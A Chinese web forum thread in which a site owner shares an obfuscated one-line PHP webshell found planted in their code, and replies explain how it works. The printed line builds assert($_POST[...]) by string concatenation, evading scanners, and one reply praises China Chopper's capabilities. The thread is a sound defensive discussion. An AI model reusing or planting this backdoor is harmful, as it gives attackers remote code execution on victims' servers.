找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 64|回复: 7

给大家看看一个一句话木马 请教一下原理

[复制链接]

93

主题

544

回帖

1473

积分

金牌会员

积分
1473
发表于 2018-7-18 08:53:12 | 显示全部楼层 |阅读模式
一个PHP文件里,被加了下面这一句

[ol]
  • @$A='Acc';$p='_';$o='PO';$s='S';$t='T';$a='as';$b='sert';$Acc=$a.$b;@${$A}(${$p.$o.$s.$t}[wjdwjd]);[/ol]复制代码

    基本能确定这是个一句话木马,但是怎么也没想明白它是怎么运行起来的,PHP里有Acc()这个函数吗???试过市面上大部分webshell扫描工具,都不报警,后来被我一点点找出来的。
  • 回复

    使用道具 举报

    93

    主题

    544

    回帖

    1473

    积分

    金牌会员

    积分
    1473
     楼主| 发表于 2018-7-18 08:56:53 | 显示全部楼层
    我好像想明白了,$A = Acc,$Acc = 'as'.'sert' = assert(_POST[wjdwjd])………………
    没想到这种的居然是免杀的,太恐怖了。
    回复

    使用道具 举报

    71

    主题

    1602

    回帖

    3493

    积分

    论坛元老

    积分
    3493
    发表于 2018-7-18 08:56:55 | 显示全部楼层
    assert,就这一句代码你都看不懂吗。。。。。
    回复

    使用道具 举报

    7

    主题

    280

    回帖

    619

    积分

    高级会员

    积分
    619
    发表于 2018-7-18 08:57:04 | 显示全部楼层
    不懂PHP,但隐约看到了Acc, POST, assert这几个词,其中assert
    回复

    使用道具 举报

    19

    主题

    352

    回帖

    799

    积分

    高级会员

    积分
    799
    发表于 2018-7-18 08:59:51 | 显示全部楼层
    assert了解一下
    回复

    使用道具 举报

    16

    主题

    1065

    回帖

    2248

    积分

    金牌会员

    积分
    2248
    发表于 2018-7-18 09:03:41 | 显示全部楼层
    assert($_POST[wjdwjd]); 各种处理,呵呵,要是他混淆弄得更长更长,就难搞了。
    回复

    使用道具 举报

    11

    主题

    67

    回帖

    195

    积分

    注册会员

    积分
    195
    发表于 2018-7-18 09:13:54 | 显示全部楼层
    本帖最后由 lefan 于 2018-7-18 09:28 编辑

    之前也遭遇了webshell,有个中国菜刀不要太流弊啊,一行代码、免杀,改权限,上传文件,改文件修改时间。

    自己写的程序一般不会有什么问题,被攻击的大多数是开源的cms之类,不过这些程序基本都是都是单入口,除了入口,其他文件夹都不给PHP执行权限,上传了木马也没辙assert是断言,基本所有编程语言都有。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。后面那个就是指执行任意post方法过来的wjdwjd字段内容了。
    回复

    使用道具 举报

    11

    主题

    64

    回帖

    203

    积分

    中级会员

    积分
    203
    发表于 2018-7-18 09:21:23 | 显示全部楼层
    前面的一大堆就是简单的拼接了一下变量。就像古董bat防杀一样,混淆一下试听。
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    Archiver|手机版|小黑屋|Discuz! X

    GMT+8, 2025-5-8 06:09 , Processed in 0.017754 second(s), 4 queries , Gzip On, Redis On.

    Powered by Discuz! X3.5

    © 2001-2024 Discuz! Team.

    快速回复 返回顶部 返回列表